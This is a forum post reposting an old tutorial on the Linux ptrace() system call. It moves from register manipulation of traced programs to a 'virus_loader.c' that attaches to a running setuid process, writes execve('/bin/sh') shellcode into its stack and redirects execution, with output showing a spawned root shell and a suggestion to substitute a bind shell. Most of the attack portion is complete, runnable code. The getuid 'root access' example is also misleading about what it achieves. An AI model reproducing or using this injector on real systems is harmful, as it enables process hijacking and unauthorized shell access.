[Question] ptrace(): A Linux Virus |
06/01/2008 02:25:23 (+0700) | #1 | 108547 |
|
onlinehack
Member
|
0 |
|
|
Joined: 04/12/2007 23:07:12
Messages: 116
Location: Ma maison
Offline
|
|
ptrace() is a system call that enables one process to *control* the execution of another one.
The traced process (the child) behaves normally until it caughts a signal and when this occur the process enter in STOPPED state and informs the tracing process by a wait() system call. After this the tracing process (the parent) decides what the traced process should do (responds). Take in mind that if the traced process caughts a SIGKILL it will be killed!
#include <sys/ptrace.h>
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
The field 'request' is a value that determines the action that has to be performed.
Here below you will find some actions that you can specify in the ptrace() function:
- PTRACE_GETREGS
This copies the child's General Purpose or Floating-Point registers to location data in the parent.
- PTRACE_SETREGS
This 'request' copies the child's GPR or Floating-Point registers from a location in the parent. (also take a look at this request: PTRACE_POKEUSR).
- PTRACE_CONT
Restarts the stopped child process.
[color=orange]- PTRACE_KILL
Sends to the child process a SIGKILL (to terminate it)
- PTRACE_ATTACH
Attaches to the process identified by the field pid and make the process traced as a child of the tracing process (current process).
As I said before the tracing process became the parent of the traced process (child) and it will receive notifications from the child events but if a getppid is called will return the PID of the original parent.
- PTRACE_DETACH
It restarts the stopped child and detaches the tracing process (child) from the traced process (*parent*). If ptrace has interrupted a syscall that has been called (but not executed) the kernel subtract 2 bytes (from EIP) after PTRACE_DETACH.
If you wanna more informations about ptrace() please read the man pages. (could be useful).
[ 0x02: Have fun with ptrace() ]
Now it's time to *Having fun with ptrace()* function!!
In this section I'll try to explain how to (p)trace a process and intercepts
syscall (and modify its arguments). The best way to explain what we have to do
is to show to you a source code:
Code:
/* target1.c */
#include <stdio.h>
#include <unistd.h>
int main() {
char str[]="Hi\nSup Guys?\n";
write(0, str, strlen(str));
return 0;
}
/* end target1.c */
(.)Output:
$./target1
Hi
Sup Guys?
$
And here below you will find the tracer1.c code:
/* tracer1.c */
#include <sys/ptrace.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <linux/user.h>
#include <sys/syscall.h>
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("please specify the absolute path of the target1\n");
printf("%s < /path/target1 >\n", argv[0]);
exit(1);
}
int orig_syscall = 0;
int status;
struct user_regs_struct regs;
pid_t pid;
pid = fork();
if (pid == 0) { //child
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[1], argv[1], NULL);
} else { //parent
wait (&status); //wait the child
while(1) {
ptrace(PTRACE_SYSCALL, pid, 0, 0); //restart the stopped child and send a SIGTRAP when
//a syscall is called to inspect the arguments
wait(&status); //wait again the child
ptrace(PTRACE_GETREGS, pid, 0, ®s);
orig_syscall = regs.orig_eax; // here I have the original eax (the syscall number)
if (orig_syscall == SYS_write) { //Is our syscall number the SYS_write ??
regs.edx = 3; //set edx to 3 (MAX msg length -> more info here: man write(1) )
ptrace(PTRACE_SETREGS, pid, 0, ®s); //the the GP register(s)
}
}
}
ptrace( PTRACE_DETACH, pid, NULL, NULL );
return 0;
}
/* end of tracer1.c */
(.)Output:
#./tracer1 /home/omni/target1
Hi
#
Ehy what's that? As you can see the output of tracer1 is *Hi\n* !
But why? Look at the tracer1.c source code; there is an "important" assignment:
[...]
regs.edx = 3;
[...]
We set the register edx to 3 (maximum length of "string" in our write() syscall).
Look in depth what the tracer1 do:
1. check if the syscall write() is called
2. read the CPU registers
3. set the register edx to 3
4. detach from the process traced
Eg:
write(0, -> stdout
"Hi\nSup Guys?\n, -> it will print only Hi\n (edx = 3)
3); -> modified by edx (edx = 3)
Do you get it? Simple right? ;)
Cool, now I just wanna try to explain an other interesting example; so look
at the source code of target2.c and tracer2.c !!!
/* target2.c */
#include <stdio.h>
#include <unistd.h>
int main() {
printf( "user id: %d\n", getuid() );
execl("/bin/csh", "csh", NULL, 0);
return 0;
}
/* end of target2.c */
(.) Output:
$ ./target2
user id: 1000
%id
uid=1000(omni) gid=100(users) groups=11(floppy),17(audio),18(video),19(cdrom),100(user)
And now.. tracer2.c :
/* tracer2.c */
#include <sys/ptrace.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <linux/user.h>
#include <sys/syscall.h>
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("please specify the absolute path of the target1\n");
printf("%s < /home/omni/articles/target1 >\n", argv[0]);
exit(1);
}
int orig_syscall = 0;
int status;
struct user_regs_struct regs;
pid_t pid;
pid = fork();
if (pid == 0) { //child
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[1], argv[1], NULL);
} else { //parent
wait (&status); //wait the child
while(1) {
ptrace(PTRACE_SYSCALL, pid, 0, 0); //restart the stopped child and send a SIGTRAP when
//a syscall is called to inspect the arguments
wait(&status); //wait again the child
ptrace(PTRACE_GETREGS, pid, 0, ®s);
orig_syscall = regs.orig_eax; // here I have the original eax (the syscall number)
if (orig_syscall == SYS_getuid32) {
regs.ebx = 0; //set ebx to 0 (root access)
ptrace(PTRACE_SETREGS, pid, 0, ®s); //the the GP register(s)
}
}
}
ptrace( PTRACE_DETACH, pid, NULL, NULL );
return 0;
}
/* end of tracer2.c */
(.) Output:
# ./tracer2 /home/omni/articles/target2
user id: 0
%id;
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
Killed!
#
If you read the source code you will find my comments and I thik (/hope) you
will understand; but for lazy people I'll explain the main functions.
[... in the child ...]
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[1], argv[1], NULL);
[....]
Just trace the process..
[... in the parent ...]
1. ptrace(PTRACE_SYSCALL, pid, 0, 0);
2. ptrace(PTRACE_GETREGS, pid, 0, ®s);
orig_syscall = regs.orig_eax;
3. if (orig_syscall == SYS_getuid32) {
4. regs.ebx = 0;
5. ptrace(PTRACE_SETREGS, pid, 0, ®s);
}
[....]
Here is a little bit more difficult but if you understand C this will not be a problem
1. Just *restart* the stopped child and read the syscall arguments
2. Read the the CPU registers
3/4. If the syscall is SYS_getuid32 set ebx to 0 and "gain" root access
5. Copy the child registers
And now the /bin/csh shell is *spawned* with root privilege!!
-----------------------------------------------------------------------------[/]
---[ 0x03: Injecting codes.. ]
Injecting codes in a (p)traced ELF is not so difficult; but if you wanna understand easily how to do it you have to read carefully the code.
Here below we have simple.c (the traced process):
Code:
/* simple.c */
#include <stdio.h>
#include <stdlib.h>
int main() {
char buf[1024];
scanf("%s", buf);
printf("-> %s\n", buf);
}
/* end of simple.c */
$ gcc simple.c -o simple
# chmod u+s simple
(.) Output:
$ ./simple
Hi
-> Hi
$
Now it's time of our virus code:
Code:
/* virus_loader.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <linux/user.h>
#include <linux/ptrace.h>
// shellcode "grepped" from internet (make your own shellcode,
// eg a bind shell)
char virus_payload[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";
//inject func prototype
int inject(pid_t pid, long memaddr, void *buf, int buflen);
int main(int argc, char *argv[]) {
pid_t pid; //pid of the ELF that we have to infect
struct user_regs_struct regs; //CPU registers
long address; //where we will put our virus payload
if (argc < 2) {
printf("usage: %s <ELF-pid>\n", argv[0]);
return -1;
}
pid = atoi(argv[1]);
//ATTACH to the pid
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) {
perror("ATTACH");
return -1;
}
// Wait the child.. (the *attached* ELF is the child)
int status = 0;
wait(&status);
printf("[+] %d ATTACHED\n", pid);
//get the CPU registers and put it in our
//struct regs
//We will use it soon..
if (ptrace(PTRACE_GETREGS, pid, ®s, ®s) < 0) {
perror("GETREGS");
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return -1;
}
//calculate the address were we have to PUT our
//virus payload (we will put it into ESP - 1024)
printf("[+] Calculating the address of our payload\n");
address = regs.esp - 1024;
printf("[+] Virus Payload at address: 0x%.8x\n", address);
//inject function is called.. (see below)
if (inject(pid, address, virus_payload, sizeof(virus_payload) - 1) < 0) {
return -1;
}
//EIP now *points* to our virus payload
regs.eip = address + 2;
printf("[+] EIP points to virus payload at address: 0x%.8x\n", regs.eip);
//It's time to set EIP and let its to point
//to our virus payload
if (ptrace(PTRACE_SETREGS, pid, ®s, ®s) < 0) {
perror("SETREGS");
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return -1;
}
ptrace(PTRACE_DETACH, pid, NULL, NULL);
printf("[+] Shell Spawned !!\n");
return 0;
}
// Injection Function
int inject(pid_t pid, long addr, void *virus, int len) {
long payload;
int i = 0;
//copy virus payload into *address* memory (esp - 1024)
while (i < len) {
memcpy(&payload, virus, 4);
//insert the payload into the memory
if (ptrace(PTRACE_POKETEXT, pid, addr, payload) < 0 ) {
perror("Inject()");
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return -1;
}
addr += 4;
virus += 4;
i += 4;
}
return 0;
}
/* end of virus_loader.c */
Let's try it..
--- [ Shell 1 ] ---
$ ls -al simple
-rwsr-xr-x 1 root root 8148 2007-12-14 19:26 simple*
[suid bit ACTIVATED]
$ ./simple
sh-3.1# id
uid=0(root) gid=100(users) groups=11(floppy),17(audio),18(video),19(cdrom),100(users)
sh-3.1#
--- [ Shell 2 ] ---
# ps -A | grep simple
4779 pts/3 00:00:00 simple
# ./virus_loader 4779
[+] 4779 ATTACHED
[+] Calculating the address of our payload
[+] Virus Payload at address: 0xbfb2fe08
[+] EIP points to virus payload at address: 0xbfb2fe0a
[+] Shell Spawned !!
#
Here is a simple example; you can also add your own shellcode (eg a bind shell)
and than give again the control back to the ELF.
-----------------------------------------------------------------------------[/]
---[ 0x04: General Infos ]
- Why is it useful to use ptrace? My opinion is simple; if you are root you can
(WITHOUT LKM) modify syscalls, inject your own codes in a running process and
much more.. ( eg control a process in runtime!! )
ptrace() is also used by debuggers for tracing syscall, set breakpoints, etc;
and this is a great things because you can do it in User Land.
- Is it possible to trace the same process twice?
No, it's not possible; because if you look here:
/usr/src/linux-***/arch/i386/kernel/ptrace.c
you will find:
Code:
if (!(current->ptrace & PT_PTRACED))
goto out; <- GOTO OUT!!!
-----------------------------------------------------------------------------[/]
---[ 0x05: Reference ]
[1] Man of ptrace()
[2] Building ptrace injecting shellcodes
(Volume 0x0b, Issue 0x3b, Phile #0x0c of 0x12)
Nguồn : milw0rm |
|
|
|
|
|
|
|
Users currently in here |
1 Anonymous
|
|
Powered by JForum - Extended by HVAOnline
hvaonline.net | hvaforum.net | hvazone.net | hvanews.net | vnhacker.org
1999 - 2013 ©
v2012|0504|218|
|
|